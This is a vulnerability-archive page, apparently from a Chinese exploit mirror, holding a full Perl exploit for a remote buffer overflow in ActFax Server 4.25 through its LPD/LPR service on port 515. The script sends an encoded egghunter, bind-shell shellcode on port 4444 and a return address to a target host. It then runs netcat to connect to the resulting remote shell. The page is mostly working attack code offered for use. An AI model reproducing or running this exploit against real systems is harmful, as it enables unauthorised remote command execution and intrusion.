发布 2011-02-16 漏洞条目

ActFax Server (LPD/LPR) 4.25 Build 0221 (2010-02-11) – Remote Buffer Overflow

Exploit Source

#!/usr/bin/perl

# Exploit Title: ActFax Server (LPD/LPR) Remote Buffer Overflow Exploit

# Date: Feb 15, 2011

# Author: chap0

# Software Link: http://www.actfax.com/download/actfax_setup_en.exe

# Version: Version 4.25, Build 0221 (2010-02-11)

# Tested on: Windows XP SP3 en

# Big thanks to Sud0 - and an extra greetz to mr_me -RESPECT

# Stay true my friends

print "\nActFax Server LPD/LPR Remote Buffer Overflow\n";

print " chap0 - www.seek-truth.net \n\n";

use IO::Socket;

print "Target Address Please: ";

chomp($target = <STDIN>);

my $sock = IO::Socket::INET->new(PeerAddr => $target, PeerPort => '515', Proto => 'tcp');

print "Connecting. . .\n";

# egghunter EDI encoded

my $eggedi="WYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIrFOqZjyo4O1RPRrJwrShXMvNuluUBzBTJOoH2Wtpp0PtLKxzlorUYzlo2UHgKOKWA";

# ./msfpayload windows/shell_bind_tcp LPORT=4444

# alpha2 encoded aligned with edi

my $shellcode="WYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIKLyxniWpwpWpSPk9yuVQJr2DLKsb4pLKP".

"RvllKPR4TnksB18VoNWaZvFvQyotqKpnLwLSQSLuRVL5p9QZo4MS1kwKRJPQB67NkrrtPlKBb5l5Qn0NkcpQhK5kpt4BjWqXPPP".

"LKsxdXlKpX7Ps1jsjC5lg9lKdtlKS1N6uaKOvQyPllo1hOTM5QYWEhKPQel46c3M8x7KSMetpuKRpXlKshQ4GqkccVLK6lPKLK0".

"XUL7qN3lKGtlK31jpLIpDEtUt1KSkCQPY0ZpQKOypshaO2zLKTRJKNf1MQx7CWBUPwpaxt7rSebaOSdphpLPwDfUWkOXUx8npwq".

"uPWp7Yo4cdPPrH5ymPbKWpKOJupPrpbp2p70pPcppPaxxjvoyOKPYoYEmYO7VQkkpSphUReP4QqLoyxf1zFpPVsgcXkrIKVWPgK".

"O8Uccv7rHMgYydx9o9oJubsrs2wbHD4Xl7Km1KOXU67OyZgU81eRN2mU1KOJuRHpcpmU4GpOykS2wv7qGdqHvsZgbV9SfIrKMqv".

"jgW4TdWLEQUQLMstWTvpo6ePw42tpPrvqF1FG6PVrnSfV6pS2vsXqizlUoovkOHUmYkPpNRvQVIotpph7xmWwmSPKON5oKJPH5M".

"rSfu8LfmEMmmMKOiEgL363LgzMPkKkPsEWumk0G230rporJEPPSKOHUgzA";

my $payload1 = "A" . $eggedi . "\x7D" x (256-length($eggedi));

my $addy = "\x7D\x4B\x4A\x00" ;# --> pop EDI/ pop ESI/ pop EBP/ pop EBX/ pop ECX/ retn

my $payload2 = "w00tw00t" . $shellcode;

my $payloads = $payload1.$addy.$payload2;

print $sock $payloads;

print "DONE shell in a moment. . .\n";

$connect = "nc -vvn $target 4444";

system $connect

相关漏洞条目